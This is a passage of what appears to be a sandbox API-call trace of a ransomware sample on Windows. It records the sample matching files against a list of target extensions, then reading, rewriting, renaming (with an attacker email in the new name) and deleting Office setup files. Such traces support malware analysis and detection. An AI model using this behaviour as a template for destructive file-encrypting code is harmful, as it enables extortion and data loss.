Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.795] lstrlenW (lpString=".doc") returned 4 [0039.795] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString=".docx") returned 5 [0039.795] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.795] lstrlenW (lpString=".pdf") returned 4 [0039.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString=".xls") returned 4 [0039.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString=".xlsx") returned 5 [0039.795] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.795] lstrlenW (lpString=".ppt") returned 4 [0039.795] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.795] lstrlenW (lpString=".zip") returned 4 [0039.795] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.795] lstrlenW (lpString=".rar") returned 4 [0039.795] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString=".bz2") returned 4 [0039.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.795] lstrlenW (lpString=".7z") returned 3 [0039.795] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.795] lstrlenW (lpString=".dbf") returned 4 [0039.795] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString=".1cd") returned 4 [0039.796] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString=".jpg") returned 4 [0039.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString=".doc") returned 4 [0039.796] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString=".docx") returned 5 [0039.796] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.796] lstrlenW (lpString=".pdf") returned 4 [0039.796] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString=".xls") returned 4 [0039.796] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString=".xlsx") returned 5 [0039.796] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.796] lstrlenW (lpString=".ppt") returned 4 [0039.796] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString=".zip") returned 4 [0039.796] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.796] lstrlenW (lpString=".rar") returned 4 [0039.796] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString=".bz2") returned 4 [0039.796] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString=".7z") returned 3 [0039.796] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.796] lstrlenW (lpString=".dbf") returned 4 [0039.796] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.797] lstrlenW (lpString=".1cd") returned 4 [0039.797] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.797] lstrlenW (lpString=".jpg") returned 4 [0039.797] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.797] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.797] lstrlenW (lpString="SETUP.XML") returned 9 [0039.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.797] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2362) returned 1 [0039.797] CloseHandle (hObject=0x184) returned 1 [0039.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0039.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.797] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.798] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.798] GetLastError () returned 0x0 [0039.798] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x93a, lpOverlapped=0x0) returned 1 [0039.799] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x940, lpOverlapped=0x0) returned 1 [0039.800] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.800] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.800] SetEndOfFile (hFile=0x1d8) returned 1 [0039.800] CloseHandle (hObject=0x1d8) returned 1 [0039.801] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.801] SetEndOfFile (hFile=0x184) returned 1 [0039.802] CloseHandle (hObject=0x184) returned 1 [0039.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0039.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.802] lstrlenW (lpString=".doc") returned 4 [0039.802] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.802] lstrlenW (lpString=".docx") returned 5 [0039.802] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.802] lstrlenW (lpString=".pdf") returned 4 [0039.802] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".xls") returned 4 [0039.803] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".xlsx") returned 5 [0039.803] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.803] lstrlenW (lpString=".ppt") returned 4 [0039.803] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString=".zip") returned 4 [0039.803] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.803] lstrlenW (lpString=".rar") returned 4 [0039.803] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".bz2") returned 4 [0039.803] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".7z") returned 3 [0039.803] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString=".dbf") returned 4 [0039.803] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString=".1cd") returned 4 [0039.803] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString=".jpg") returned 4 [0039.803] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.803] lstrlenW (lpString=".doc") returned 4 [0039.803] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".docx") returned 5 [0039.803] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.803] lstrlenW (lpString=".pdf") returned 4 [0039.803] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.803] lstrlenW (lpString=".xls") returned 4 [0039.804] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString=".xlsx") returned 5 [0039.804] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.804] lstrlenW (lpString=".ppt") returned 4 [0039.804] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.804] lstrlenW (lpString=".zip") returned 4 [0039.804] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.804] lstrlenW (lpString=".rar") returned 4 [0039.804] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString=".bz2") returned 4 [0039.804] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString=".7z") returned 3 [0039.804] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.804] lstrlenW (lpString=".dbf") returned 4 [0039.804] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.804] lstrlenW (lpString=".1cd") returned 4 [0039.804] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.804] lstrlenW (lpString=".jpg") returned 4 [0039.804] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.804] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.804] lstrlenW (lpString="Office32WW.XML") returned 14 [0039.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.805] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4274) returned 1 [0039.805] CloseHandle (hObject=0x184) returned 1 [0039.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0039.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.805] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.805] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.805] GetLastError () returned 0x0 [0039.805] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0040.243] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0040.244] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.244] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.244] SetEndOfFile (hFile=0x1d8) returned 1 [0040.244] CloseHandle (hObject=0x1d8) returned 1 [0040.245] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.245] SetEndOfFile (hFile=0x184) returned 1 [0040.246] CloseHandle (hObject=0x184) returned 1 [0040.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.246] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0040.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.246] lstrlenW (lpString=".doc") returned 4 [0040.246] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.246] lstrlenW (lpString=".docx") returned 5 [0040.246] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.246] lstrlenW (lpString=".pdf") returned 4 [0040.246] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.246] lstrlenW (lpString=".xls") returned 4 [0040.246] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.246] lstrlenW (lpString=".xlsx") returned 5 [0040.246] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.246] lstrlenW (lpString=".ppt") returned 4 [0040.246] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString=".zip") returned 4 [0040.247] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.247] lstrlenW (lpString=".rar") returned 4 [0040.247] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString=".bz2") returned 4 [0040.247] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString=".7z") returned 3 [0040.247] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString=".dbf") returned 4 [0040.247] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString=".1cd") returned 4 [0040.247] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString=".jpg") returned 4 [0040.247] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.247] lstrlenW (lpString=".doc") returned 4 [0040.247] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString=".docx") returned 5 [0040.247] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.247] lstrlenW (lpString=".pdf") returned 4 [0040.247] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString=".xls") returned 4 [0040.247] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.247] lstrlenW (lpString=".xlsx") returned 5 [0040.247] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.247] lstrlenW (lpString=".ppt") returned 4 [0040.247] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.248] lstrlenW (lpString=".zip") returned 4 [0040.248] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.248] lstrlenW (lpString=".rar") returned 4 [0040.248] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.248] lstrlenW (lpString=".bz2") returned 4 [0040.248] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.248] lstrlenW (lpString=".7z") returned 3 [0040.248] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.248] lstrlenW (lpString=".dbf") returned 4 [0040.248] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.248] lstrlenW (lpString=".1cd") returned 4 [0040.248] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0040.248] lstrlenW (lpString=".jpg") returned 4 [0040.248] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.248] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.248] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0040.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.249] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1452) returned 1 [0040.249] CloseHandle (hObject=0x184) returned 1 [0040.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0040.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.249] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.249] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.251] GetLastError () returned 0x0 [0040.251] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0040.252] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.253] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, 